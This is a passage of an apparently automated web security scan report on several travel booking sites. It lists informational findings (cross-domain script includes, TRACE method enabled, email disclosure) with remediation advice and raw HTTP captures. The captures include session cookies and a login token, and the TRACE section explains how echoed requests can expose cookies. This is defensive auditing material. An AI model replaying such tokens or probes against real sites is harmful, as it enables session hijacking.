Pronto</a> -
<a target="_blank" href="http://www.servicemagic.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SERVICEMAGIC',
'external-link','http://www.servicemagic.com', AnalyticsSupport.pageId);">
ServiceMagic</a> -
<a target="_blank" href="http://www.shoebuy.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SHOES','external-link',
'http://www.shoebuy.com', AnalyticsSupport.pageId);">
Shoebuy</a> -
<a target="_blank" href="http://www.thedailybeast.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:THE-DAILY-BEAST',
'external-link','http://www.thedailybeast.com', AnalyticsSupport.pageId);">
The Daily Beast</a>
...[SNIP]...
<div class="yui3-u rightInfo">
<img class="mr10" src="http://ak-static.hotwirestatic.com/static/images/shell/BBB_logo_A.jpg?ver=222960" width="135" height="53" border="0" alt="BBB Acredited Business"/>
<a target="_blank" href="http://www.bizrate.com/ratings_guide/cust_reviews__mid--27352.html"><img class="bizrate"
src="http://ak-static.hotwirestatic.com/static/images/shell/bizrate_27352_medal_sm.gif?ver=222960" width="112" height="37" border="0" alt="Bizrate Registered Store"/>
</a>
...[SNIP]...

12. Cross-domain script include  previous  next
There are 6 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


12.1. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; Service=TRAVELOCITY; SID=T000V00000X111110155329158039359453652; pcookie=n; mbox=check#true#1320962071|session#1320962010545-896769#1320963871

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:59 GMT
Server: Apache
Set-Cookie: JSID=E1C6FE19728366224E5846A11DB4E7EB.p0856; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 72682

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
<body class="air">

<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/mbox.js"></script>
...[SNIP]...
</div>

<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/jQuery/1.4.3/jquery-1.4.3.min.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/jQuery-ui/1.8.2/jquery-ui-1.8.2.custom.min.js" ></script>
...[SNIP]...
</script>

<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/vs-track.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/calendar_datepicker.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/endless-scroll.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/cookie.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jquery.blockUI.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-interstitial.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/templating.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/sorting.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/filter.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flight-cards.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-filter.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/navgrid.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jquery_tvly.comments.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jiffy.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-jiffy-log.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tvly-log.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-outbound.js?r=777700278" ></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/adserver.js?pubid=c3919e40-e5b8-49f8-b876-4fed1f31968f"></script>
<script type="text/javascript" charset="utf-8" src="http://www.google.com/adsense/search/ads.js"></script>
<script language="javascript" type="text/javascript" charset="utf-8" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-ads-loading.js?r=777700278" ></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tracking_tags_US.js"></script>
...[SNIP]...

12.2. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:31 GMT
Server: Apache
Set-Cookie: JSID=8FFF3EF3B63D0D4D8432E417447540AD.p0609; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 72798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
<body class="air">

<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/mbox.js"></script>
...[SNIP]...
</div>

<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/jQuery/1.4.3/jquery-1.4.3.min.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/jQuery-ui/1.8.2/jquery-ui-1.8.2.custom.min.js" ></script>
...[SNIP]...
</script>

<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/vs-track.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/calendar_datepicker.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/endless-scroll.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/cookie.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jquery.blockUI.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-interstitial.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/templating.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/sorting.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/filter.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flight-cards.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-filter.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/navgrid.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jquery_tvly.comments.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jiffy.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-jiffy-log.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tvly-log.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-outbound.js?r=924269110" ></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/adserver.js?pubid=c3919e40-e5b8-49f8-b876-4fed1f31968f"></script>
<script type="text/javascript" charset="utf-8" src="http://www.google.com/adsense/search/ads.js"></script>
<script language="javascript" type="text/javascript" charset="utf-8" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-ads-loading.js?r=924269110" ></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tracking_tags_US.js"></script>
...[SNIP]...

12.3. http://travel.travelocity.com/flights/SavedSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/SavedSearch.do

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /flights/SavedSearch.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?operation=read&lob=AIR&_=1320962017854 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:36 GMT
Server: Apache
Set-Cookie: JSID=1D50A6BB126F3AFB02E6B0CA945EED5A.p0734; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 67839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
<body onload='on_load(0)' class="air">

<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/mbox.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tracking_tags_US.js"></script>
...[SNIP]...

12.4. http://www.bookingbuddy.com/ad_wrapper.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /ad_wrapper.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /ad_wrapper.php?width=300&height=250&request=http%3A%2F%2Fad.doubleclick.net%2Fadj%2Fta.bb.com%2Fair%3Bawr%3Dnorth_america%3Baco%3Dunited_states%3Bast%3Dflorida%3Bact%3Dmiami%3Boct%3Dboston%3Baap%3Dmia%3Bost%3Dmassachusetts%3Bptag%3Dair_s%3Bowr%3Dnorth_america%3Boap%3Dbos%3Boco%3Dunited_states%3Bu%3D%7C%7C%7Cair%7Cnorth_america%7Cunited_states%7Cmassachusetts%7Cboston%7Cnorth_america%7Cunited_states%7Cflorida%7Cmiami%7C%3Bdcopt%3Dist%3Bsz%3D300x250%2C250x250%3Btile%3D1%3Bord%3D59258970%3B HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%2C%22t2%22%3A%22anytime%22%2C%22ns%22%3A%22%22%2C%22sc%22%3A%22economy_coach%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Date: Thu, 10 Nov 2011 21:55:17 GMT
Content-Length: 1940
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</title>
<script type="text/javascript" src="http://j.slimg.com/js/lib/jquery-1.4.2.min.js"></script>
...[SNIP]...

12.5. http://www.bookingbuddy.com/tabsearches.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /tabsearches.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1 HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:53:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:53:59 GMT
Content-Length: 43482
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; expires=Thu, 17-Nov-2011 21:53:35 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:58 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:59 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; expires=Thu, 10-Nov-2011 22:53:59 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:59 GMT; path=/; domain=.bookingbuddy.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content
...[SNIP]...
<link rel="stylesheet" href="http://c.slimg.com/css/site/bb_affiliate/bookingbuddy_com.css?nano=1&amp;v=20111109091307" media="screen, projection" type="text/css" /><script type="text/javascript" src="http://j.slimg.com/js/site/bookingbuddy.js?nano=1&amp;v=20111109091307"></script>
...[SNIP]...

12.6. http://www.hotwire.com/air/results.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /air/results.jsp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /air/results.jsp?searchTokenId=1&backButtonInputId=air-index HTTP/1.1
Host: www.hotwire.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8ABAB9B20359272EF267EE99BC92C535; SaneID=8ABAB9B20359272EF267EE99BC92C53; hotwireLogin=V4XFi9mFuQsCCPy6V/qhrdIccYJFHrJxloNL+OGc4tZkfjnIHGhTi7ltrG1IPXfIeO+uyJQdNdBMLRhhG2FHTMgXg79d4ve0wj4co6fHPBw/6XrC+I2V0VAJjgDrxtP6UCZQAzRZKNmqg6s3BNNiMzoqSlE+9QLVq8LlP5r5sVC9LqYt6r1WejbBqGtX4/QeMydTsx5XDmME0qOPB8zW5aGoplccEyUVyAQw1zoB77fdKkw2wifeN3QXc3uxCTtpmp1Xbz0DxcS4cKS1iGZ7tDS9ulFNeBvx/qJTKhJwy7rJEih5XSyT1Fco8d5rZFOYJfrLMMzpj5kMJEILR9qBNRDl+42pRMtKzavwDRm7Zn4S+YVpyXk9PjDFsc8boH4pNL/i/1SO3SnXZq06Bmb1cMu94wvBIzddV6cWSVnTSkb6zEWjyhKcj/R/L14UAfRNxKLA1dwarM4dx9zfvTJdnTQ5OD8cXu1QsRQx6bhBdHgkaVvI7Yv0CzgZubBDGYZ2py/gVN6nUboAKdWWhnH1+SCb4zGbUyOIkF4m3Q5L+mHwtRpnviW5iB6TzG4qM3vCGJzuO/q61vTeJmSjVVzx75u8crr6cftWqHj6w1ad2e3Pf5CFEtJtPeidw2FziNaUnrZUO8Dg4khW7hU9cY7J7fKZ4GRKCUFiaqRBwocDhg2nL+BU3qdRuu3nLjE0iKGkecN3QDSwuy2hpe08Csu2fupUbvdFv0Cs+iPYTYOKXR36I9hNg4pdHfoj2E2Dil0d+iPYTYOKXR36I9hNg4pdHZkXMwFjN5//GfFEXccZLnRe4HTJo0i26foj2E2Dil0d+iPYTYOKXR0A/je7yzDiYxzOTLmW6hAr+iPYTYOKXR1PInMvNwnP4qWAQ5Fqf/sURmHo2YOoPtSM+3JgIIVvgfoj2E2Dil0dfPSXg9UVFkdonRAnD1CzZSScdfGLoqChRdyjkfXmqOcml0c5X6k8GJajsUKRNqS+Ouz/Wdyu4BqKlqjo3JeIwqrZeEv6z+6NkVbI7P1I/pc=; auth=true; NSC_qspe-xxx-qfstjtu=ffffffffaf131c0b45525d5f4f58455e445a4a422d6d

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Cache-control: no-store, no-cache, private, must-revalidate
Set-Cookie: hotwirePageModuleState=pgoodCode=A&searchTokenId=1; Path=/
Content-Type: text/html;charset=UTF-8
Date: Thu, 10 Nov 2011 21:54:11 GMT
Content-Length: 61642


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<meta http-equiv="Content-Language" content="en-us"/>
<meta http-eq
...[SNIP]...
</script>


<script src="http://ak-static.hotwirestatic.com/static/deploy/master/hwCore.js?ver=219395"></script>
...[SNIP]...

13. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: travel.travelocity.com
Cookie: 53eed4d0cebb1187

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:32 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: travel.travelocity.com
Cookie: 53eed4d0cebb1187; tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; Service=TRAVELOCITY; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=8FFF3EF3B63D0D4D8432E417447540AD.p0609
X-Forward
...[SNIP]...

14. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /zp/zpcal/src/calendar-core.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /zp/zpcal/src/calendar-core.js HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travelb.priceline.com/airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
